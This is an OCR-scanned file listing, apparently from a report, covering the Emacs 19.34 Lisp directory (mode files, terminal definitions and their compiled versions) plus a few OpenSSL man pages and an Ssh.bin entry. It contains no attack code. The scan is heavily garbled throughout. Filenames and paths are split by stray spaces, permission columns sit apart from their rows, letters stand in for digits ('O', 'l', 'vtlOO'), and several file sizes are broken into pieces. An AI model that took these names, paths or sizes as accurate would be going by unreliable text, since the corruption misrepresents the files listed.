32560 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/ l i sp/l i sp-mode .e l  

14634 Apr 28  1999 /usr/loca l/sha re/emacs/19. 34/l i sp/l i sp-mode .e lc  

391861 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/l i sp/loaddefs .e l  

354669 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/ loaddefs .e l c  

4647 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/loadh ist . e l  

3 132 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/loadh ist . e lc  

9076 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/l oadup .e l  

6683 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/l pr .e l  

4061 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/l pr .e l c  

9803 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/l s - l i sp .e l 
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-rw-r--r-- O O l 

-r--r-- r-- O O l 

-rw-r--r-- O O l 
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- rw-r--r-- O O l 
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-rw-r--r-- O O l 

-r-- r-- r-- O O l 
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-rw-r-- r-- O O l 
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3737 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/l s - l i sp .e l c  

6422 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/macros .e l  

43 10 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/macros .e l c  

48890 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/ l i sp/ma ke-mode .e l  

30618 Apr 28  1999 /usr/loca l/sha re/emacs/19 .34/l i sp/m a ke-mode .e lc  

8972 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/ma kei nfo .e l  

4063 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/l i sp/ma ke info .e l c  

3727  Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/m a kesu m .e l  

1549 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/ma kesu m.e l c  

38318 Apr 28 1999 /usr/l oca l/sha re/emacs/19 .34/ l i sp/ma n .e l  

25155 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/l i sp/man . e l c  

8955 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/map -yn p .e l  

4712 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/ma p-ynp .e l c  

24633 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/ l i sp/me n u -bar .e l  

14484 Apr 28  1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/menu-bar .e lc  

2092 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/m isc .e l  

982 Apr  28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/m isc .e lc  

8572 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/ l i sp/m l d rag .e l  
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- rw-r--r-- O O 1 

- r--r--r-- O O 1 
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- rw-r--r-- O O 1 

- r--r-- r-- O O 1 
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- rw-r--r-- O O 1 

- r--r--r-- O O 1 
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-rw-r--r-- O O 1 

- r-- r-- r-- O O 1 

3318 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/m l d rag .e lc  

69856 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/mouse .e l  

29413 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/mouse .e l c  

22599 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/ l i sp/mouse-se l . e l  

13553 Apr 28  1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/mouse-se l . e l c  

32540 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/msb .e l  

19596 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/l i sp/msb .e l c  

23803 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/noutl i ne .e l  

16175 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/nout l i ne .e l c  

4892 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/l i sp/novice .e l  

2589 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/ l i sp/novice .e l c  

4828 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/ l i sp/opt ions .e l  

3 194 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/options .e l c  

2 1068 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/outl i ne .e l  

14792 Apr 28  1999 /usr/ loca l/sha re/emacs/19.34/l i sp/out l i ne .e l c  

4943 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/page .e l  

2535 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/page .e l c  

28478 Apr  28 1999 /usr/ local/sha re/emacs/19 .34/ l i sp/page-ext .e l  
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-rw-r--r-- O O 1 
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11978 Apr 28 1999 /usr/ local/sha re/emacs/19. 34/l i sp/page-ext.e l c  

13045 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/l i sp/pa ragra phs .e l  

7760 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/pa ragra phs .e l c  

6062 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/pa ren . e l  

2662 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/pa ren .e l c  

616 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/l i sp/patcomp . e l 

1017 Apr 28 1999 /usr/ local/sha re/emacs/19 . 34/ l i sp/patcom p.e l c  

6556 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/paths .e l  

4211  Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/paths .e l c  

29502 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/l i sp/per l -mode .e l  

142 14 Apr 28  1999 /usr/loca l/sha re/emacs/19 .34/l i sp/per l -mode .e lc  

26077 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/picture .e l  

20413 Apr 28  1999 /usr/loca l/sha re/emacs/19 .34/l i sp/pictu re .e l c  

6404 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/pp .e l  

3 154 Apr 28 1999 /usr/ local/sha re/emacs/19 . 34/l i sp/pp .e l c  

12354 Apr 28 1999 /usr/ l oca l/sha re/emacs/19 .34/ l i sp/profi l e . e l  

6204 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/profi l e .e l c  

69315 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/ps-pri nt .e l  
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-rw-r--r-- O O l 

-r-- r-- r-- O O l 
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-rw-r-- r-- O O l 

-r--r--r-- O O l 
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-r--r--r-- O O l 

38330 Apr 28  1999 /usr/loca l/sha re/emacs/19. 34/l i sp/ps-pri nt . e l c  

8882 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/l i sp/rect .e l  

5791 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i s p/rect .e lc  

8793 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/l i sp/reg i . e l  

5736 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/reg i . e l c  

9426 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/reg i ster. e l  

6688 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/l i sp/registe r.e l c  

26534 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/ l i sp/rep lace .e l 

16365 Apr 28  1999 /usr/ loca l/sha re/emacs/19.34/l i sp/rep l ace .e l c  

18430 Apr 28 1999 /usr/loca l/share/emacs/19.34/l i sp/reporter .e l  

8742 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/reporte r.e l c  

7423 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/repositi on .e l  

2452 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/reposit ion .e lc  

4712 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/resume .e l  

2026  Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/resu me .e lc  

4303 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/ri ng .e l  

2610 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/ri ng .e lc  

10458 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/ l i sp/rsz-m i n i . e l  
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-rw-r--r-- O O 

- r--r--r-- O O 

-rw-r-- r-- O O 

-r--r-- r-- O O 

-rw-r-- r-- O O 

- r--r--r-- O O 

-rw-r--r-- O O 

-r--r--r-- O O 

-rw-r-- r-- O O 

-r--r--r-- O O 

-rw-r--r-- O O 

-r--r--r-- O O 

-rw-r--r-- O O 

- r--r--r-- O O 

-rw-r--r-- O O 

- r-- r-- r-- O O 

-rw-r--r-- O O 

-r--r--r-- O O 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

5 147 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/l i sp/rsz-m i n i . e l c  

4616 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/l i sp/s -reg ion .e l  

2751 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/ l i sp/s -reg ion .e l c  

8845 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/savep l ace.e l  

4477 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/savep l ace.e l c  

8567 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/l i sp/scro l l -bar .e l  

4975 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/scro l l -bar .e lc  

10734 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/ l i sp/se l ect.e l  

6960 Apr 28 1999 /usr/loca l/share/emacs/19 . 34/ l i sp/se l ect .e l c  

40343 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/sendma i l . e l  

23758 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/l i sp/sendma i l . e l c  

16817 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/se rver .e l  

8988 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/server .e lc  

40921 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/sgm l -mode .e l  

39380 Apr 28  1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/sgm l -mode .e lc  

44098 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/sh -scri pt.e l  

38750 Apr 28  1999 /usr/loca l/sha re/emacs/19 .34/l i sp/sh -scri pt.e l c  

7644 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/shadow.e l  
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- rw-r--r-- O O 1 

-r--r--r-- O O 1 

- rw-r-- r-- O O 1 

- r--r--r-- O O 1 

- rw-r--r-- O O 1 

- r-- r-- r-- O O 1 

- rw-r--r-- O O 1 

- r--r--r-- O O 1 

-rw-r--r-- O O 1 

- r--r-- r-- O O 1 

-rw-r--r-- O O 1 

- rw-r--r-- O O 1 

- r-- r--r-- O O 1 

- rw-r--r-- O O 1 

- r--r-- r-- O O 1 

- rw-r--r-- O O 1 

-r--r--r-- O O 1 

- rw-r--r-- O O 1 

3743 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/shadow.e l c  

35235 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/ l i sp/she l l .e l  

21931 Apr 28  1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/she l l . e l c  

1 1875 1 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/si m ple .e l  

74618 Apr 28  1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/si m ple .e l c  

22316 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/ske leton .e l  

14705 Apr 28  1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/ske leton .e l c  

18640 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/l i sp/so rt .e l  

9864 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/ l i sp/so rt .e lc  

36671 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/sta rtup . el 

18629 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/sta rtu p .e l c  

147 Apr 28  1999 /usr/loca l/sha re/emacs/19. 34/l i sp/subd i rs .e l  

34008 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/subr .e l  

23060 Apr 28  1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/su br. e l c  

2662 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/tabify .e l  

1447 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/ l i sp/ta b ify .e lc  

46657 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/l i sp/ta r-mode .e l  

25465 Apr 28  1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/ta r-mode .e l c  
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-r-- r-- r-- O O 1 

-rw-r-- r-- O O 1 

d rwxr-xr-x O O 

-r--r--r-- O O 1 

-rw-r--r-- O O l 

-r--r--r-- O O l 

-rw-r--r-- O O l 

-r-- r-- r-- O O 1 

-rw-r-- r-- O O 1 

-r--r--r-- O O 1 

-rw-r--r-- O O 1 

-r--r--r-- O O 1 

-rw-r-- r-- O O l 

-r--r--r-- O O 1 

-rw-r--r-- O O 1 

-r-- r-- r-- O O 1 

-rw-r--r-- O O 1 

-r-- r--r-- O O 1 

l 

26575 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/tem po .e l  

17285 Apr  28  1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/tempo .e l c  

O Apr 28  1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/term/ 

26 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/term/apo l lo .e l  

488 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/term/a po l lo .e l c  

Report 

11 154 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/term/bg-mouse .e l  

6700 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/term/bg-mouse .e l c  

96  Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/te rm/bobcat.e l  

490 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/term/bobcat.e l c  

3516 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/l i sp/term/i nterna l . e l  

1718 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/term/i nterna l . e l c  

1291 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/term/keyswap .e l  

589 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/term/keyswa p .e l c  

2926 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/term/l k201 .e l  

1559 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/term/l k201 .e l c  

2723 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/term/news .e l  

982 Apr 28 1999 /usr/ local/sha re/emacs/19 .34/ l i sp/term/news .e l c  

11297 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/term/pc-w in . e l  
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-rw-r-- r-- O O 

-r--r--r-- O O 

-rw-r-- r-- O O 

-r-- r--r-- O O 

-rw-r-- r-- O O 

-r--r-- r-- O O 

-rw-r-- r-- O O 

-r-- r-- r-- O O 

-rw-r--r-- O O 

-r--r-- r-- O O 

-rw-r-- r-- O O 

-r-- r-- r-- O O 

-rw-r-- r-- O O 

-r--r--r-- O O 

-rw-r-- r-- O O 

-r-- r--r-- O O 

-rw-r--r-- O O 

-r--r--r-- O O 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

7642 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/term/pc-w in .e l c  

9910 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/ l i sp/term/sun .e l  

5327 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/term/su n .e lc  

Report 

24609 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/term/su n-mouse .e l  

17644 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/te rm/sun -mouse .e l c  

6034 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/term/su p-mouse .e l  

3462 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/term/su p-mouse .e lc  

4288 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/term/tvi970 .e l  

2275 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/term/tvi970 .e lc  

2114 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/l i sp/term/vtlOO .e l  

981 Apr 28 1999 /usr/ l oca l/sha re/emacs/19 . 34/ l i sp/term/vtlOO.e l c  

26  Apr 28 1999  /usr/l oca l/sha re/emacs/19 .34/ l i sp/te rm/vt102 .e l  

486 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/te rm/vt102 .e l c  

26  Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/te rm/vt125 .e l  

486 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/term/vt125 .e l c  

220  Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/term/vt200.e l  

556 Apr  28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/term/vt200 .e l c  

221 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/term/vt201 .e l  
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-rw-r-- r-- O O 

-r--r--r-- O O 

- rw-r-- r-- O O 

-r--r--r-- O O 

- rw-r-- r-- O O 

- r--r--r-- O O 

- rw-r--r-- O O 

- r-- r-- r-- O O 
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-r--r--r-- O O 

- rw-r--r-- O O 
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-rw-r--r-- O O 
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-rw-r--r-- O O 
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1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

1 

556 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/term/vt201 .e l c  

221 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/l i sp/term/vt220 .e l  

556 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/term/vt220.e l c  

220 Apr  28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/term/vt240 .e l  

556 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/term/vt240 .e l c  

99 Apr  28 1999 /usr/loca l/sha re/emacs/19. 34/l i sp/te rm/vt300.e l  

556 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/term/vt300.e l c  

99 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/term/vt320 .e l  

556 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/term/vt320.e l c  

99 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/term/vt400 .e l  

556 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/term/vt400 .e l c  

99 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/term/vt420 .e l  

556 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/ l i sp/term/vt420.e l c  

Report 

20171 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/term/wi n32-wi n .e l  

10659 Apr 28  1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/te rm/wi n32-wi n .e lc  

4870 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/l i sp/term/wyse50. e l  

2 102 A p r  2 8  1999 /usr/loca l/sha re/emacs/19 . 34/l i sp/term/wyse50.e l c  

2 1829 Apr 28 1999 /usr/ local/sha re/emacs/19 .34/ l i sp/term/x-wi n .e l  
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-rw-r--r-- O O l 

- r-- r-- r-- O O l 

-rw-r-- r-- O O l 

- r-xr-xr-x O O l 

-rw-r-- r-- O O l 

-r-- r-- r-- O O l 

-rw-r--r-- O O l 

-r--r-- r-- O O l 

- r-- r--r-- O O l 

-rw-r--r-- O O l 

-r--r-- r-- O O l 

-rw-r--r-- O O l 

- r--r--r-- O O l 

-rw-r--r-- O O l 

-r--r--r-- O O l 

-rw-r--r-- O O l 

- r--r--r-- O O l 

-rw-r-- r-- O O l 

11990 Apr 28  1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/te rm/x-wi n .e l c  

1850 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/term/xterm .e l  

921 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/te rm/xterm .e l c  

Repon 

7347 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/term/xte rm -emacs .e l  

3960 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/term/xterm -emacs .e l c  

2235 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/term/AT386 .e l  

807 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/term/AT386 .e l c  

8428 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/term/README 

130728 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/l i sp/term .e l  

68642 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/l i sp/te rm .e l c  

521  Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/l i sp/term-nasty.e l  

465 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/ l i sp/te rm-nasty .e lc  

45 163 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/term i na l . e l 

26350 Apr 28  1999 /usr/ loca l/sha re/emacs/19 . 34/l i sp/te rm i n a l . e l c  

115 156 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/texi nfmt .e l  

5 1980 Apr 28  1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/texi nfmt. e lc  

31269 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/texi nfo .e l  

228 12 Apr 28  1999 /usr/ loca l/sha re/emacs/19 .34/l i sp/texi nfo .e l c  
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- r-- r--r-- O O l 

-rw-r--r-- O O l 

-r--r-- r-- O O l 

-rw-r--r-- O O l 

-r--r-- r-- O O l 

-rw-r--r-- O O l 

-r-- r--r-- O O l 

- rw-r--r-- O O l 

-r--r-- r-- O O l 

-rw-r--r-- O O l 

-r--r--r-- O O l 

- rw-r--r-- O O l 

-r--r--r-- O O l 

- rw-r--r-- O O l 

-r-- r--r-- O O l 

-rw-r--r-- O O l 

- r-- r-- r-- O O l 

-rw-r-- r-- O O l 

79 124 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/texnfo-upd .e l  

41235  Apr  28 1999 /usr/ loca l/sha re/emacs/19.34/l i sp/texnfo-upd .e l c  

5762 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/l i sp/text-mode .e l  

3871 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/text-mode.e l c  

6718 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/th i ngatpt .e l  

4049 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/ l i sp/th i ngatpt.e l c  

6777 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/t ime .e l  

4395 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/time .e l c  

18459 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/t ime-sta m p.e l  

1 1609 Apr 28  1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/t ime-sta m p.e l c  

14313 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/timer .e l  

9804 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/t imer .e l c  

14738 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/timezone .e l  

9457 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/timezone .e lc  

15943 Apr 28 1999 /usr/l oca l/sha re/emacs/19. 34/ l i sp/tmm .e l  

8097 Apr  28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/tmm.e l c  

4198  Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/tq .e l  

2864 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/tq .e l c  
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-r--r--r-- O O l 

-rw-r-- r-- O O l 

-r-- r-- r-- O O l 

-rw-r--r-- O O l 

-r-- r-- r-- O O l 

-rw-r-- r-- O O l 

-r-- r--r-- O O l 

-rw-r--r-- O O l 

-r-- r-- r-- O O l 

-rw-r--r-- O O l 

-r-- r-- r-- O O l 

-rw-r--r-- O O l 

-r--r--r-- O O l 

-rw-r--r-- O O l 

-r--r--r-- O O l 

-rw-r--r-- O O l 

-r--r-- r-- O O l 

-rw-r--r-- O O l 

10582 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/trace .e l  

4603 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/tra ce .e l c  

22969 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/two-co l u m n .e l  

10859 Apr 28  1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/two-co l um n .e l c  

36376  Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/type-break .e l  

24199 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/l i sp/type-break .e lc  

3597 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/u ncom press .e l  

1841 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/u ncompress.e l c  

2 146 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/l i sp/u nderl i ne .e l  

1 152 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/ l i sp/u nderl i ne .e l c  

15395 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/u n i qu ify.e l  

7705 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/u n i qu ify. e l c  

5296 Apr 28 1999 /usr/loca l/sha re/emacs/19 . 34/ l i sp/userlock .e l  

3866 Apr 28 1999 /usr/loca l/sha re/emacs/19.34/ l i sp/user lock .e lc  

104893 Apr 28 1999 /usr/loca l/sha re/emacs/19 .34/l i sp/vc .e l  

50454 Apr 28 1999 /usr/ loca l/sha re/emacs/19 . 34/l i sp/vc .e l c  

43605 Apr 28 1999 /usr/loca l/sha re/emacs/19. 34/ l i sp/vc-hooks .e l  

18435 Apr 28  1999 /usr/loca l/sha re/emacs/19. 34/l i sp/vc-hooks .e l c  
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-r--r--r-- O O 1 

-rw-r-- r-- O O 1 

-r-- r--r-- O O 1 

-rw-r-- r-- O O 1 

-r-- r-- r-- O O 1 

-rw-r-- r-- O O 1 

-r-- r-- r-- O O 1 

-rw-r-- r-- O O 1 

-r-- r-- r-- O O 1 

-r-- r--r-- O O 1 

d rwxr-xr-x O O 

-rw-r--r-- O O 1 

d rwxr-xr-x O O 

d rwxr-xr-x O O 

d rwxr-xr-x O O 

d rwxr-xr-x O O 

-rw-r--r-- O O 1 

-rw-r--r-- O O 1 

1 

1 

1 

1 

1 

2753 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/vers ion .e l  

1978  Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/vers ion .e l c  

18050 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/view.e l  

13496 Apr 28  1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/view.e l c  

1 1 159 Apr 28 1999 /usr/ loca l/sha re/emacs/19.34/ l i sp/wi ndow.e l  

7608 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/wi ndow.e l c  

5116  Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/l i sp/x-menu .e l  

3505 Apr 28 1999 /usr/ loca l/sha re/emacs/19 .34/ l i sp/x-menu .e l c  

17976 Apr 28 1999 /usr/ loca l/sha re/emacs/19. 34/ l i sp/COPYI NG  

459 Ap r  28 1999 /usr/ loca l/sha re/emacs/19 . 34/l i sp/README 

O Apr 28  1999 /usr/ loca l/sha re/emacs/19.34/site - l i s p/ 

600 Feb 22  2003 /usr/ loca l/sha re/Ss h . b i n  

O Ma r  1 1  2003 /usr/ loca l/ss l/ 

O Sep 9 2002 /usr/ loca l/ss l/certs/ 

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/ 

O Ma r  1 1  2003 /usr/ loca l/ss l/m a n/m a n 1/ 

8425 Feb 2 1  2003 /usr/ loca l/ss l/ma n/m a n 1/asn 1parse . 1  

27400 F e b  2 1  2003 /usr/ loca l/ss l/m a n/ma n 1/ca . 1  
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-rw-r-- r-- O O l 

-rw-r--r-- O O l 

-rw-r-- r-- O O l 

-rw-r--r-- O O l 

-rw-r--r-- O O l 

-rw-r-- r-- O O l 

-rw-r-- r-- O O l 

-rw-r--r-- O O l 

-rw-r--r-- O O l 

-rw-r--r-- O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

-rw-r--r-- O O l 

-rw-r--r-- O O l 

-rw-r--r-- O O l 

-rw-r-- r-- O O l 

18459 Feb 21  2003 /usr/ loca l/ss l/man/m a n l/ci phers . l 

6651 Feb 2 1  2003 /usr/ loca l/ss l/ma n/m a n l/crl . l  

